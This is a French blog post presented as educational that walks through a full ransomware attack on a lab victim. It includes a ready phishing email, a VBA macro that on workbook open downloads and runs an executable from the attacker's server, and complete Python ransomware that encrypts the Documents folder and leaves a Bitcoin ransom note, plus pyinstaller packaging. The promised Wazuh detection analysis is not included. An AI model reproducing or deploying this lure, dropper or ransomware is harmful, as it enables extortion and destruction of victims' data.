Introduction

Saviez-vous que les ransomwares sont l’une des cybermenaces les plus redoutées aujourd’hui, causant des milliards de pertes chaque année ? Ce week-end, j’ai décidé de faire quelque chose de different, et de plonger dans ce monde fascinant mais aussi inquiétant en créant…

Mon propre ransomware

Rassurez-vous, vous ne risquez rien, je suis quand meme quelqu’un de bien :)

L’idée derrière cet article est de vous guider à travers toutes les étapes d’une cyberattaque de type ransomware, de sa conception à son analyse. Pour rendre cela plus concret, j’ai imaginé un scénario fictif, soutenu par des machines réelles et des configurations bien établies.

À la fin, nous utiliserons Wazuh pour analyser ce qui s’est réellement passé et comprendre comment détecter efficacement ce genre d’attaques grâce à ses outils puissants.

Note importante : Ce projet est à but exclusivement éducatif. Je décline toute responsabilité quant à l’utilisation malveillante des informations ou du code présentés dans cet article.

Scenario

Un utilisateur nommé Mohamad reçoit un email alléchant l’informant qu’il a gagné un lot de délicieux pains au chocolat. Ravi, il suit les instructions et télécharge un fichier Excel à remplir pour obtenir son prix. Mais en l’ouvrant, il découvre une mauvaise surprise : tous les fichiers de son dossier Documents sont chiffrés. Un message apparaît, exigeant une rançon pour récupérer ses données.

Ce scénario va nous permettre d’explorer les étapes suivantes :

  • Rédiger un email de phishing convaincant.
  • Créer un fichier Excel malveillant avec une macro VBA.
  • Développer un ransomware capable de chiffrer les fichiers de la victime.

Prérequis

Si jamais vous voulez également simuler cette attaque que je vais vous présenter, vous aurez besoin de 3 machines virtuelles. La première sera bien entendu la victime, où il y aura Windows 10. La deuxième sera l’attaquant ; pour cette attaque, je vais me contenter d’une machine Debian 12. Enfin, la troisième sera notre serveur Wazuh (pour l’installer, voici le lien vers mon article sur Wazuh).

Etape 1 : L’email de phishing

Commençons par l’étape la plus importante : c’est la seule étape qui déterminera si notre attaque réussira ou non. Nous allons rédiger un email de phishing qui incitera notre victime à télécharger notre fichier Excel malveillant.

Pour cela, rien de mieux que d’utiliser le point faible de toute personne : la gourmandise. Ici, nous allons convaincre notre victime qu’elle a gagné un lot de pains au chocolat et que, pour les recevoir, elle doit télécharger un fichier Excel joint à l’email.

Il existe de nombreux templates que nous pouvons utiliser pour rédiger notre email. Voici un lien qui présente de nombreux emails de phishing ayant été utilisés par le passé :

Mais dans notre cas, qui, je pense, est quand même une idée originale que personne n’a jamais eue, nous allons rédiger notre propre email (on ne va pas se mentir, ChatGPT a pas mal aidé pour ça).


Bonjour Mr Mohamad,

Nous sommes ravis de vous informer que vous avez été sélectionné(e) dans le cadre de notre campagne de fidélité pour recevoir un lot exclusif de pains au chocolat frais de votre boulangerie préférée, Les Écureuils Dormants.

Pour confirmer votre participation et organiser la réception de votre lot, nous vous invitons à :

  1. Télécharger le fichier Excel en pièce jointe.
  2. Remplir les informations demandées (nom, prénom, adresse, et coordonnées).
  3. Nous renvoyer le fichier dûment complété par retour d’e-mail avant le 08/12/2024 .

Veuillez noter que cette offre est valable jusqu’au 08/12/2024 . Passé ce délai, nous ne pourrons malheureusement plus garantir la disponibilité de votre cadeau.

Nous vous remercions pour votre fidélité et espérons vous revoir bientôt chez Les Écureuils Dormants.

Cordialement,
L’équipe Les Écureuils Dormants Service Relation Client


Ce mail contient tous les éléments nécessaires pour que notre victime tombe dans le panneau : il est bien rédigé (sans faute d’orthographe flagrante), crédible, et surtout gourmand :) .

Il nous manque maintenant à créer notre fichier Excel malveillant. Pour cela, passons à l’étape 2.

Etape 2 : Créer un fichier Excel malveillant

Peut-être que vous ne les connaissez pas, mais les professionnels des fichiers Excel utilisent souvent une fonctionnalité très puissante de Excel : les macros VBA. Ces macros VBA permettent, entre autres, de créer des scripts qui s’exécutent dès qu’on ouvre le fichier Excel.

Un comptable, par exemple, peut économiser des heures de travail en créant une macro VBA qui lui permet de réaliser des calculs automatiquement. Mais un attaquant, lui, peut chiffrer tous les fichiers de la victime dès qu’elle ouvre un fichier Excel. Chacun y trouve son compte.

Pour ce qui est du fichier Excel en soi, je vais me contenter d’un fichier très basique, avec deux colonnes : une pour le nom de notre victime et une autre pour ses disponibilités.

Voici à quoi ce fichier Excel basique va ressembler :

Excel image

Je ne suis pas un designer graphique, mais je pense que cela suffit. Passons maintenant à l’écriture de notre macro VBA.

Pour créer une macro VBA, il suffit de cliquer sur l’onglet Développeur, puis sur Visual Basic. Là, vous pouvez écrire votre macro.

Voici à quoi va ressembler notre macro VBA. Elle permettra d’aller chercher un fichier (.exe) sur le serveur de notre attaquant et de l’exécuter dès qu’on ouvre le fichier Excel. Je me suis basé sur un script trouvé sur Internet, que j’ai légèrement modifié pour qu’il corresponde à notre scénario :

Private Sub Workbook_Open()
    Dim shellApp As Object
    Set shellApp = CreateObject("WScript.Shell")
    
    ' Check if Excel is already running
    Dim excelApp As Object
    On Error Resume Next
    Set excelApp = GetObject(, "Excel.Application")
    On Error GoTo 0
    
    ' Start Excel in a separate process if it is not already running
    If excelApp Is Nothing Then
        shellApp.Run "excel.exe", 1, False
    End If
    
    ' Specify the URL of the exe file
    Dim fileURL As String
    fileURL = "http://192.168.9.105/JeSuisSimpa.exe"
    
    ' Download the exe file to a temporary location
    Dim tempFilePath As String
    tempFilePath = Environ("TEMP") & "\JeSuisSimpa.exe"
    Dim xmlhttp As Object
    Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
    xmlhttp.Open "GET", fileURL, False
    xmlhttp.send
    If xmlhttp.Status = 200 Then
        Dim stream As Object
        Set stream = CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 1 ' Binary
        stream.Write xmlhttp.responseBody
        stream.SaveToFile tempFilePath, 2 ' Overwrite
        stream.Close
    End If
    
    ' Execute the downloaded malicious exe file
    shellApp.Run tempFilePath, 1, False
End Sub

Voila le lient du script original : Excel Macro

Donc rien de compliqué : cette macro va s’exécuter dès qu’on ouvre le fichier Excel. Elle va télécharger un fichier JeSuisSimpa.exe depuis le serveur de notre attaquant et l’exécuter. Je vous laisse imaginer ce que fait ce fichier JeSuisSimpa.exe. (Je vais vous spoiler : il chiffre tous les fichiers de la victime).

Mais cette attaque dépend d’un critère essentiel : que notre victime ait activé les macros VBA sur son Excel. Donc, soit elle appuie sur le bouton Activer les macros, soit elle a déjà activé n’importe quelle macro dans le passé, et dans ce cas, la macro s’exécutera automatiquement sans même lui demander sa permission.

Etape 3 : Le ransomware

Ah, le ransomware ! Je sais que vous avez tous attendu cette étape avec impatience. Le ransomware est au cœur de notre attaque, c’est lui qui va chiffrer tous les fichiers de notre victime et lui demander une rançon pour les récupérer.

Pour notre scénario, j’ai décidé de créer un ransomware très basique. Bien entendu, je ne vais pas utiliser des ransomwares créés par les grands criminels, qui, par ailleurs, sont facilement trouvables sur Internet. Au contraire, je vais écrire mon propre ransomware pour que vous puissiez voir à quel point il est facile de créer un code pouvant causer de nombreux dégâts.

Note : S’il vous plaît, je vous en prie, ne développez pas ce code sur votre machine personnelle, et encore moins ne l’exécutez. Une fausse commande peut arriver très rapidement, et vous pourriez perdre tous vos fichiers. Même si, comme vous allez le voir, je vais afficher la clé de déchiffrement, je vous assure que ce n’est pas une bonne idée.

Pour créer notre ransomware, je vais utiliser Python et plus précisément la librairie cryptography. Celle-ci va nous permettre de chiffrer les fichiers dans un répertoire de données. Avant de commencer à coder, je vous présente la logique globale de notre ransomware :

Génération de la clef :

  • Nous allons générer une clé de chiffrement, qui permettra de chiffrer les fichiers de la victime. Cette clé sera unique pour chaque victime.

Ciblage du répertoire des documents :

  • Le script identifie et accède au dossier “Documents” de l’utilisateur via son chemin par défaut.

Chiffrement des fichiers :

  • Tous les fichiers présents dans le dossier “Documents” seront chiffrés avec la clé générée.

Création d’une note de rançon :

  • Nous allons créer un fichier texte contenant les instructions pour la victime, ainsi que la manière de récupérer ses fichiers en échange d’une rançon.

Bon, fini de parler, passons au code :

import os
from cryptography.fernet import Fernet

# Génération et stockage de la clé
KEY = Fernet.generate_key()
cipher = Fernet(KEY)

def encrypt_file(file_path):
    try:
        with open(file_path, 'rb') as file:
            data = file.read()
        encrypted_data = cipher.encrypt(data)
        with open(file_path, 'wb') as file:
            file.write(encrypted_data)
        
        # Renommer le fichier pour ajouter l'extension .poubelle
        new_file_path = f"{file_path}.poubelle"
        os.rename(file_path, new_file_path)
        print(f"[INFO] {file_path} a été chiffré et renommé en {new_file_path}.")
    except Exception as e:
        print(f"[ERREUR] Impossible de chiffrer {file_path}: {e}")

def create_ransom_note(directory):
    note_path = os.path.join(directory, "README_RECUPERER_VOS_FICHIERS.txt")
    with open(note_path, 'w') as note:
        note.write(
            "Vos fichiers ont été chiffrés. Pour les récupérer, veuillez envoyer 1 BTC à l'adresse suivante: makhalBTC.btc\n"
            "Contactez-nous à [email protected] pour la clé de déchiffrement."
        )
    print(f"[INFO] Note de rançon créée: {note_path}")

def main():
    # Chemin du dossier à cibler
    target_directory = os.path.expanduser("~/Documents")
    
    if not os.path.exists(target_directory):
        print(f"[ERREUR] Le dossier {target_directory} n'existe pas.")
        return

    # Récupération des fichiers à chiffrer
    for root, _, files in os.walk(target_directory):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path)

    # Création de la note de rançon
    create_ransom_note(target_directory)
    
    # Affichage de la clé pour une démonstration éthique
    print(f"[INFO] Clé de déchiffrement (gardez-la précieusement): {KEY.decode()}")

if __name__ == "__main__":
    main()

Vous allez me dire : “C’est tout ?” Oui, c’est tout. Et pourtant, ce petit bout de code peut rendre inutilisables tous les fichiers d’une victime.

Avant d’aller plus loin, je tiens à préciser : je comprends vos préoccupations. Vous vous demandez peut-être si c’est une bonne idée de partager un script capable de chiffrer toutes les données de quelqu’un. Mais il est important de comprendre que ce genre d’outil est déjà accessible à tous. Avec des outils comme ChatGPT et d’autres IA, il est devenu incroyablement facile d’obtenir ce type de script. Plutôt que de limiter le partage d’informations, je pense qu’il est crucial de sensibiliser et d’éduquer :

  • Comment se protéger contre ces attaques.
  • Que faire si une telle attaque survient.

Mon but ici est uniquement éducatif : montrer à quel point un ransomware peut être simple à concevoir et insister sur l’importance de la cybersécurité. Ce script n’a rien de révolutionnaire ; un simple prompt dans un outil d’IA pourrait vous fournir quelque chose de similaire. Ce que je montre, c’est que même un étudiant en Réseaux et Télécommunications, avec des compétences de base, peut créer un outil qui pourrait causer des dégâts.

En ce qui concerne le code, il est bien commenté, donc je ne vais pas m’attarder dessus. J’ai simplement pris la logique que nous avons définie plus haut, y ai ajouté un peu de gestion d’erreurs, et voilà, vous avez votre script ransomware.

Il faut maintenant, bien entendu, faire en sorte que ce script soit exécuté sur n’importe quel système, même s’il n’y a pas Python d’installé dessus. Pour cela, on peut utiliser des outils comme pyinstaller, qui va nous permettre de créer un exécutable à partir de notre script Python.

Pour créer notre exécutable, il suffit de lancer la commande suivante :

pyinstaller --onefile ransomware.py

Lorsque vous lancerez cette commande, vous obtiendrez un output similaire à celui-ci :

PyInstaller

Et voilà, dans un dossier dist, vous trouverez votre exécutable, que vous pouvez envoyer à votre serveur C&C.

Lancement de l’attaque

Maintenant que nous avons tout ce qu’il nous faut, il ne nous reste plus qu’à lancer notre attaque.

Pour récapituler, voici toutes les étapes que nous avons réalisées :

  • Nous avons rédigé un email de phishing convaincant.
  • Nous avons créé un fichier Excel malveillant avec une macro VBA.
  • Nous avons développé un ransomware capable de chiffrer les fichiers de la victime.

Il ne nous reste maintenant plus qu’à envoyer notre email à notre victime et attendre qu’elle ouvre le fichier Excel.

Voici une petite vidéo qui vous montre ce qui se passe dès que la victime ouvre le fichier Excel :

Je ne peux pas vous montrer comment la victime a cliqué sur le mail, mais je connais personnellement Mohamad, et je peux vous dire qu’un lot gratuit de pains au chocolat, il ne peut pas y résister.

Conclusion

Et voilà, nous avons terminé notre attaque de ransomware. Il ne nous reste maintenant plus qu’à attendre que la victime nous envoie l’argent.

Plus sérieusement, j’espère que cet article vous a plu et qu’il vous a permis de mieux comprendre comment fonctionne une attaque de ransomware. Dans un prochain article, je vous montrerai comment analyser cette attaque avec Wazuh. Nous examinerons en détails les logs, les alertes, et nous verrons comment détecter ce genre d’attaques.

D’ici là, comme toujours, restez curieux et surtout, restez en sécurité.